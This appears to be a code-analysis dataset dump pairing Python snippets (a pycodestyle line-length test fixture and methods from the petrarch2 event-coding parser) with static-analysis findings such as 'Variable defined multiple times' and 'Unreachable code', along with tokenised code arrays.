"content": "#: E501\na = '12345678901234567890123456789012345678901234567890123456789012345678901234567890'\n#: E502\na = ('123456789012345678901234567890123456789012345678901234567890123456789' \\\n '01234567890')\n#: E502\na = ('AAA \\\n BBB' \\\n 'CCC')\n#: E502\nif (foo is None and bar is \"e000\" and \\\n blah == 'yeah'):\n blah = 'yeahnah'\n#\n#: Okay\na = ('AAA'\n 'BBB')\n\na = ('AAA \\\n BBB'\n 'CCC')\n\na = 'AAA' \\\n 'BBB' \\\n 'CCC'\n\na = ('AAA\\\nBBBBBBBBB\\\nCCCCCCCCC\\\nDDDDDDDDD')\n#\n#: Okay\nif aaa:\n pass\nelif bbb or \\\n ccc:\n pass\n\nddd = \\\n ccc\n\n('\\\n ' + ' \\\n')\n('''\n ''' + ' \\\n')\n#: E501 E225 E226\nvery_long_identifiers=and_terrible_whitespace_habits(are_no_excuse+for_long_lines)\n#\n#: E501\n'''multiline string\nwith a long long long long long long long long long long long long long long long long line\n'''\n#: E501\n'''same thing, but this time without a terminal newline in the string\nlong long long long long long long long long long long long long long long long line'''\n#\n# issue 224 (unavoidable long lines in docstrings)\n#: Okay\n\"\"\"\nI'm some great documentation. Because I'm some great documentation, I'm\ngoing to give you a reference to some valuable information about some API\nthat I'm calling:\n\n http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\n\"\"\"\n#: E501\n\"\"\"\nlongnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaces\"\"\"\n#: Okay\n\"\"\"\nThis\n almost_empty_line\n\"\"\"\n#: E501\n\"\"\"\nThis\n almost_empty_line\n\"\"\"\n#: E501\n# A basic comment\n# with a long long long long long long long long long long long long long long long long line\n\n#\n#: Okay\n# I'm some great comment. Because I'm so great, I'm going to give you a\n# reference to some valuable information about some API that I'm calling:\n#\n# http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\n\nimport this\n\n# longnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaceslongnospaces\n\n#\n#: Okay\n# This\n# almost_empty_line\n\n#\n#: E501\n# This\n# almost_empty_line\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "a ",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 1
},
{
"span": "a ",
"start_line": 3,
"start_column": 0,
"end_line": 3,
"end_column": 1
},
{
"span": "a ",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 1
},
{
"span": "a ",
"start_line": 15,
"start_column": 0,
"end_line": 15,
"end_column": 1
},
{
"span": "a ",
"start_line": 18,
"start_column": 0,
"end_line": 18,
"end_column": 1
},
{
"span": "a ",
"start_line": 22,
"start_column": 0,
"end_line": 22,
"end_column": 1
}
]
| []
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"'",
"123456789012",
"3456",
"7890",
"123456789012",
"3456",
"7890",
"123456789012",
"3456",
"7890",
"123456789012",
"3456",
"7890",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"02_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"(_",
"'",
"123456789012",
"3456",
"7890",
"123456789012",
"3456",
"7890",
"123456789012",
"3456",
"7890",
"12345678",
"9",
"'_",
"'",
"0123456",
"7890",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"02_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"(_",
"'",
"AAA",
" ",
" ",
"\\\\",
"\\",
"10",
";",
" ",
" ",
"BBB",
"'_",
"'",
"CCC",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"02_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"(_",
"foo_",
"is_",
"None_",
"and_",
"bar_",
"is_",
"\"",
"e0",
"00",
"\"_",
"and_",
"bla",
"h_",
"==_",
"'",
"ye",
"ah",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bla",
"h_",
"=_",
"'",
"ye",
"ah",
"na",
"h",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"a_",
"=_",
"(_",
"'",
"AAA",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"BBB",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"(_",
"'",
"AAA",
" ",
" ",
"\\\\",
"\\",
"10",
";",
" ",
" ",
"BBB",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"CCC",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"'",
"AAA",
"'_",
"'",
"BBB",
"'_",
"'",
"CCC",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"(_",
"'",
"AAA",
"\\\\",
"\\",
"10",
";",
"BBBB",
"BBBB",
"B",
"\\\\",
"\\",
"10",
";",
"CCCC",
"CCCC",
"C",
"\\\\",
"\\",
"10",
";",
"DDD",
"DDD",
"DDD",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"aaa",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"bbb",
"_",
"or_",
"ccc",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ddd",
"_",
"=_",
"ccc",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'\\\\",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'_",
"+_",
"'",
" ",
"\\\\",
"\\",
"10",
";'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"(_",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"+_",
"'",
" ",
"\\\\",
"\\",
"10",
";'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01",
" ",
"E2",
"25",
" ",
"E2",
"26_",
"\\u\\u\\uNL\\u\\u\\u_",
"very",
"\\u",
"long",
"\\u",
"identifiers_",
"=_",
"and",
"\\u",
"terr",
"ibl",
"e\\u",
"whitespace",
"\\u",
"habit",
"s_",
"(_",
"are",
"\\u",
"no",
"\\u",
"excu",
"se_",
"+_",
"for",
"\\u",
"long",
"\\u",
"lines_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"'''",
"multiline",
" ",
"string",
"\\",
"10",
";",
"with",
" ",
"a",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"line",
"\\",
"10",
";'",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"'''",
"same",
" ",
"thing",
",",
" ",
"but",
" ",
"this",
" ",
"time",
" ",
"with",
"out",
" ",
"a",
" ",
"termina",
"l",
" ",
"newline",
" ",
"in",
" ",
"the",
" ",
"string",
"\\",
"10",
";",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"line",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"issue",
" ",
"224",
" ",
"(",
"una",
"voi",
"dable",
" ",
"long",
" ",
"lines",
" ",
"in",
" ",
"docstrings",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"I",
"'",
"m",
" ",
"some",
" ",
"great",
" ",
"documentation",
".",
" ",
" ",
"Be",
"caus",
"e",
" ",
"I",
"'",
"m",
" ",
"some",
" ",
"great",
" ",
"documentation",
",",
" ",
"I",
"'",
"m",
"\\",
"10",
";",
"goi",
"ng",
" ",
"to",
" ",
"give",
" ",
"you",
" ",
"a",
" ",
"reference",
" ",
"to",
" ",
"some",
" ",
"valu",
"able",
" ",
"informati",
"on",
" ",
"abo",
"ut",
" ",
"some",
" ",
"API",
"\\",
"10",
";",
"tha",
"t",
" ",
"I",
"'",
"m",
" ",
"calling",
":",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"http",
"://",
"msd",
"n",
".",
"micros",
"oft",
".",
"com",
"/",
"en",
"-",
"us",
"/",
"librar",
"y",
"/",
"windows",
"/",
"desk",
"top",
"/",
"aa",
"363",
"858",
"(",
"v",
"=",
"vs",
".8",
"5",
").",
"asp",
"x",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"Thi",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
"alm",
"ost",
"\\u",
"empty",
"\\u",
"line",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"Thi",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
" ",
"alm",
"ost",
"\\u",
"empty",
"\\u",
"line",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"basic",
" ",
"comment_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"with",
" ",
"a",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"long",
" ",
"line_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"I",
"'",
"m",
" ",
"some",
" ",
"great",
" ",
"comment",
".",
" ",
" ",
"Be",
"caus",
"e",
" ",
"I",
"'",
"m",
" ",
"so",
" ",
"great",
",",
" ",
"I",
"'",
"m",
" ",
"goi",
"ng",
" ",
"to",
" ",
"give",
" ",
"you",
" ",
"a_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"reference",
" ",
"to",
" ",
"some",
" ",
"valu",
"able",
" ",
"informati",
"on",
" ",
"abo",
"ut",
" ",
"some",
" ",
"API",
" ",
"tha",
"t",
" ",
"I",
"'",
"m",
" ",
"calling",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"http",
"://",
"msd",
"n",
".",
"micros",
"oft",
".",
"com",
"/",
"en",
"-",
"us",
"/",
"librar",
"y",
"/",
"windows",
"/",
"desk",
"top",
"/",
"aa",
"363",
"858",
"(",
"v",
"=",
"vs",
".8",
"5",
").",
"asp",
"x_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"this_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"long",
"nos",
"paces",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"Ok",
"ay_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
" ",
"alm",
"ost",
"\\u",
"empty",
"\\u",
"line_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
":",
" ",
"E5",
"01_",
"\\u\\u\\uNL\\u\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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unreachable code | openeventdata/petrarch2/petrarch2/PETRtree.py | [
{
"content": " def mix_codes(self,agents,actors):\n \"\"\"\n Combine the actor codes and agent codes addressing duplicates\n and removing the general \"~PPL\" if there's a better option.\n \n Parameters\n -----------\n agents, actors : Lists of their respective codes\n \n \n Returns\n -------\n codes: list\n [Agent codes] x [Actor codes]\n \n \"\"\"\n \n \n# -- print('mc-entry',actors,agents)\n codes = set()\n mix = lambda a, b : a + b if not b in a else a\n actors = actors if actors else ['~']\n for ag in agents:\n if ag == '~PPL' and len(agents) > 1:\n continue\n# actors = map( lambda a : mix( a[0], ag[1:]), actors)\n actors = map( lambda a : mix( a, ag[1:]), actors)\n \n# -- print('mc-1',actors)\n return filter(lambda a : a not in ['','~','~~',None],actors)\n \n \n \n # 16.04.25 hmmm, this is either a construct of utterly phenomenal subtlety or else we never hit this code...\n codes = set()\n print('WTF-1')\n for act in (actors if actors else ['~']):\n for ag in (agents if agents else ['~']) :\n if ag == \"~PPL\" and len(agents) > 1:\n continue\n code = act\n if not ag[1:] in act:\n code += ag[1:]\n if not code in ['~','~~',\"\"]:\n codes.add(code)\n return list(codes)",
"metadata": "root.Phrase.mix_codes",
"header": "['class', 'Phrase', ':', '___EOS___']",
"index": 158
},
{
"content": " def check_passive(self):\n \"\"\"\n Check if the verb is passive under these conditions:\n 1) Verb is -ed form, which is notated by stanford as VBD or VBN\n 2) Verb has a form of \"be\" as its next highest verb \n \n Parameters\n ----------\n self: VerbPhrase object calling the method\n \n Returns\n -------\n self.passive: boolean\n Whether or not it is passive\n \"\"\"\n# -- print('cp-entry')\n self.check_passive = self.return_passive\n if True:\n if self.children[0].label in [\"VBD\",\"VBN\"]:\n level= self.parent\n if level.label == \"NP\":\n self.passive = True\n return True\n for i in range(2):\n if level and isinstance(level,VerbPhrase):\n if level.children[0].text in [\"AM\",\"IS\",\"ARE\",\"WAS\",\"WERE\",\"BE\",\"BEEN\",\"BEING\"]:\n self.passive = True\n return True\n level = level.parent\n if not level:\n break\n \n else:\n print(\"Error in passive check\")\n self.passive = False\n return False",
"metadata": "root.VerbPhrase.check_passive",
"header": "['class', 'VerbPhrase', '(', 'Phrase', ')', ':', '___EOS___']",
"index": 818
},
{
"content": " def get_lower(self):\n \"\"\"\n Find the meaning of the children of the VP, and whether or not there is a \"not\" in the VP.\n \n If the VP has VP children, look only at these.\n \n Otherwise, this function pretty much is identical to the NounPhrase.get_meaning() \n method, except that it doesn't look at word-level children, because it shouldn't\n have any. \n \n Parameters\n -----------\n self: VerbPhrase object that called the method\n \n Returns\n -------\n self.lower: list\n Actor codes or Event codes, depending on situation\n \n negated: boolean\n Whether a \"not\" is present\n \n \"\"\"\n \n self.get_lower = self.return_lower\n \n lower = []\n v_options = filter(lambda a: (isinstance(a,VerbPhrase) and a.is_valid()),self.children)\n \n lower = map(lambda a: a.get_meaning(),v_options)\n\n events = []\n \n if len(self.children) > 1:\n negated = (lower and self.children[1].text) == \"NOT\" \n else:\n negated = False\n \n for item in lower:\n \n if negated:\n adjusted = []\n for event in item:\n if isinstance(event,tuple):\n adjusted.append((event[0],event[1],event[2] - 0xFFFF))\n else:\n adjusted.append(event)\n item = adjusted\n events += item\n \n if events:\n self.lower = events\n return events,negated\n \n NPcodes = []\n PPcodes = []\n VPcodes = []\n \n for child in self.children:\n if isinstance(child, NounPhrase):\n NPcodes += child.get_meaning()\n elif isinstance(child, PrepPhrase):\n PPcodes += (child.get_meaning())\n elif False and child.label in \"SBAR\":\n for ch in (child.children[-1].children if child.label == \"SBAR\" else child.children):\n if isinstance(ch, NounPhrase):\n Scodes += ch.get_meaning()\n elif isinstance(ch, PrepPhrase):\n Scodes += ch.get_meaning()\n elif isinstance(ch, VerbPhrase):\n Scodes += ch.get_meaning()[1]\n \n actorcodes,agentcodes = ([],[])\n NPactor, NPagent = self.resolve_codes(NPcodes)\n PPactor, PPagent = self.resolve_codes(PPcodes)\n VPactor, VPagent = self.resolve_codes(VPcodes)\n \n actorcodes += NPactor\n if not actorcodes:\n actorcodes += PPactor\n if not actorcodes:\n actorcodes += VPactor\n \n agentcodes += NPagent\n if not agentcodes:\n agentcodes += PPagent\n if not agentcodes:\n agentcodes += VPagent\n \n self.lower = self.mix_codes(agentcodes,actorcodes)\n return self.lower,negated",
"metadata": "root.VerbPhrase.get_lower",
"header": "['class', 'VerbPhrase', '(', 'Phrase', ')', ':', '___EOS___']",
"index": 921
}
]
| [
{
"span": "codes = set()",
"start_line": 192,
"start_column": 8,
"end_line": 192,
"end_column": 21
},
{
"span": "print(\"Error in passive check\")",
"start_line": 851,
"start_column": 12,
"end_line": 851,
"end_column": 43
},
{
"span": "for ch in (child.children[-1].children if child.label == \"SBAR\" else child.children):",
"start_line": 985,
"start_column": 16,
"end_line": 985,
"end_column": 101
}
]
| []
| 1 | true | [
"[CLS]_",
"Unrea",
"chab",
"le_",
"code_",
"[SEP]_",
"class_",
"Phrase",
"_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"mix",
"\\u",
"codes_",
"(_",
"self_",
",_",
"agents_",
",_",
"actors_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Combine",
" ",
"the",
" ",
"actor",
" ",
"codes",
" ",
"and",
" ",
"agent",
" ",
"codes",
" ",
"address",
"ing",
" ",
"duplicat",
"es",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"and",
" ",
"remo",
"ving",
" ",
"the",
" ",
"genera",
"l",
" ",
"\"",
"~",
"PP",
"L",
"\"",
" ",
"if",
" ",
"there",
"'",
"s",
" ",
"a",
" ",
"bett",
"er",
" ",
"option",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Parameter",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"-----------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"agent",
"s",
",",
" ",
"actors",
" ",
":",
" ",
"List",
"s",
" ",
"of",
" ",
"thei",
"r",
" ",
"respec",
"tiv",
"e",
" ",
"codes",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"-------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"codes",
":",
" ",
"list",
"\\",
"10",
";",
" ",
" ",
" ",
"[",
"Agent",
" ",
"codes",
"]",
" ",
"x",
" ",
"[",
"Act",
"or",
" ",
"codes",
"]",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
" ",
" ",
" ",
"print",
"('",
"mc",
"-",
"entry",
"',",
"actors",
",",
"agent",
"s",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"codes_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mix_",
"=_",
"lambda_",
"a_",
",_",
"b_",
":_",
"a_",
"+_",
"b_",
"if_",
"not_",
"b_",
"in_",
"a_",
"else_",
"a_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"actors_",
"=_",
"actors_",
"if_",
"actors_",
"else_",
"[_",
"'~'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"ag_",
"in_",
"agents_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"ag_",
"==_",
"'",
"~",
"PP",
"L",
"'_",
"and_",
"len_",
"(_",
"agents_",
")_",
">_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"actors",
" ",
"=",
" ",
"map",
"(",
" ",
"lambda",
" ",
"a",
" ",
":",
" ",
"mix",
"(",
" ",
"a",
"[",
"0",
"],",
" ",
"ag",
"[",
"1",
":]",
"),",
" ",
"actors",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"actors_",
"=_",
"map_",
"(_",
"lambda_",
"a_",
":_",
"mix_",
"(_",
"a_",
",_",
"ag_",
"[_",
"1_",
":_",
"]_",
")_",
",_",
"actors_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
" ",
" ",
" ",
"print",
"('",
"mc",
"-1",
"',",
"actors",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"filter_",
"(_",
"lambda_",
"a_",
":_",
"a_",
"not_",
"in_",
"[_",
"''_",
",_",
"'~'_",
",_",
"'",
"~~",
"'_",
",_",
"None_",
"]_",
",_",
"actors_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"16.",
"04",
".2",
"5",
" ",
"hmm",
"m",
",",
" ",
"this",
" ",
"is",
" ",
"eit",
"her",
" ",
"a",
" ",
"construct",
" ",
"of",
" ",
"utt",
"erl",
"y",
" ",
"pheno",
"men",
"al",
" ",
"subt",
"let",
"y",
" ",
"or",
" ",
"else",
" ",
"we",
" ",
"neve",
"r",
" ",
"hit",
" ",
"this",
" ",
"code",
"..._",
"\\u\\u\\uNL\\u\\u\\u_",
"codes_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"WT",
"F",
"-1",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"act_",
"in_",
"(_",
"actors_",
"if_",
"actors_",
"else_",
"[_",
"'~'_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"ag_",
"in_",
"(_",
"agents_",
"if_",
"agents_",
"else_",
"[_",
"'~'_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"ag_",
"==_",
"\"",
"~",
"PP",
"L",
"\"_",
"and_",
"len_",
"(_",
"agents_",
")_",
">_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"code_",
"=_",
"act_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"ag_",
"[_",
"1_",
":_",
"]_",
"in_",
"act_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"code_",
"+=_",
"ag_",
"[_",
"1_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"code_",
"in_",
"[_",
"'~'_",
",_",
"'",
"~~",
"'_",
",_",
"\"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"codes_",
"._",
"add_",
"(_",
"code_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"list_",
"(_",
"codes_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Verb",
"Phrase",
"_",
"(_",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"check",
"\\u",
"passive",
"_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Check",
" ",
"if",
" ",
"the",
" ",
"verb",
" ",
"is",
" ",
"passive",
" ",
"under",
" ",
"these",
" ",
"condition",
"s",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"1",
")",
" ",
"Verb",
" ",
"is",
" ",
"-",
"ed",
" ",
"form",
",",
" ",
"whi",
"ch",
" ",
"is",
" ",
"nota",
"ted",
" ",
"by",
" ",
"stan",
"for",
"d",
" ",
"as",
" ",
"VB",
"D",
" ",
"or",
" ",
"VB",
"N",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"2",
")",
" ",
"Verb",
" ",
"has",
" ",
"a",
" ",
"form",
" ",
"of",
" ",
"\"",
"be",
"\"",
" ",
"as",
" ",
"its",
" ",
"next",
" ",
"high",
"est",
" ",
"verb",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Parameter",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"----------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"self",
":",
" ",
"Verb",
"Phrase",
" ",
"object",
" ",
"calling",
" ",
"the",
" ",
"method",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"-------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"self",
".",
"passive",
":",
" ",
"boolean",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Whe",
"ther",
" ",
"or",
" ",
"not",
" ",
"it",
" ",
"is",
" ",
"passive",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"--",
" ",
" ",
"print",
"('",
"cp",
"-",
"entry",
"')",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"check",
"\\u",
"passive",
"_",
"=_",
"self_",
"._",
"return",
"\\u",
"passive",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
